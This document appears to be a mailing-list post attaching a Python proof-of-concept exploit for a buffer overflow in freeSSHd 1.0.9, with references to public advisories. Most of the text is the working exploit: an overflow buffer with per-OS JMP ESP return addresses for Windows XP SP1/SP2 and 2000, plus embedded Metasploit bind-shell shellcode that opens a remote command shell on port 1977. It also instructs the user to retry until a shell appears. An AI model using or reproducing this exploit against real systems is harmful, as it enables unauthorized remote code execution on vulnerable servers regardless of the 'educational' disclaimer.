Hi all,
Attachment is the POC exploit for freeSSHd version
1.0.9
Advisories:
http://www.securityfocus.com/bid/17958
http://www.frsirt.com/english/advisories/2006/1786
This was coded for the educational purpose.
Regards,
Tauqeer Ahmad
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#!/usr/bin/env python
"""
Coded by Tauqeer Ahmad a.k.a 0x-Scientist-x0
ahmadtauqeer[at]yahoo.com
Disclaimer: This Proof of concept exploit is for educational purpose only.
Please do not use it against any system without prior permission.
You are responsible for yourself for what you do with this code.
Greetings: All the Pakistani White Hats including me ;)
Flames: To all the skript kiddies out there. Man grow up!.
Code tasted against freeSSHd version 1.0.9
If you didn't get shell at first try, try few times and you will get lucky
Advisories:
http://www.securityfocus.com/bid/17958
http://www.frsirt.com/english/advisories/2006/1786
"""
import socket
import getopt
import sys
host = "192.168.0.2"
port = 0
eip =""
#/* win32_bind - EXITFUNC=thread LPORT=1977 Size=317 Encoder=None
http://metasploit.com */
shellcode =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" \
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" \
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" \
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" \
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" \
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" \
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" \
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" \
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" \
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0" \
"\x66\x68\x07\xb9\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff" \
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" \
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff" \
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" \
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" \
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab" \
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51" \
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" \
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6" \
"\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0"
def exploit():
buff = "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" \
"\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
buff = buff + "A" * 1055
buff = buff + eip
buff = buff + "yyyy"
buff = buff + "\x90" * 4
buff = buff + shellcode
buff = buff + "B" * 19021 + "\r\n"
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host, port))
print "+ Recive reply from server: " + sock.recv(1000)
sock.send(buff)
print "+ SSHD exploited. Now telnet to port 1977 to get shell "
print "+ if you didnt get shell in first try.Try again until you success"
sock.close()
sock = None
def usage():
print "#############################################"
print "# CODED BY TAUQEER AHMAD #"
print "# Scientist #"
print "#############################################"
print "\n"
print "Usage: %s -h <hostip> -p <port> -o <OS>" % sys.argv[0]
print "Following OS supported\n"
print "1 Window XP SP1"
print "2 Window XP SP2"
print "3 Windows 2000 Advanced Server"
if __name__ == '__main__':
if len(sys.argv) < 7:
usage()
sys.exit()
try:
options = getopt.getopt(sys.argv[1:], 'h:p:o:')[0]
except getopt.GetoptError, err:
print err
usage()
sys.exit()
for option, value in options:
if option == '-h':
host = value
if option == '-p':
port = int(value)
if option == '-o':
if value == '1':
eip = "\xFC\x18\xD7\x77" # 77D718FC JMP ESP IN USER32.dll
(Windows Xp professional SP1)
elif value == '2':
eip = "\x0A\xAF\xD8\x77" # 77D8AF0A JMP ESP IN USER32.DLL
(Windows Xp professional SP2)
elif value == '3':
eip = "\x4D\x3F\xE3\x77" # 77E33F4D JMP ESP IN USER32.DLL
(windows 2000 advanced server)
else:
usage()
sys.exit()
exploit()
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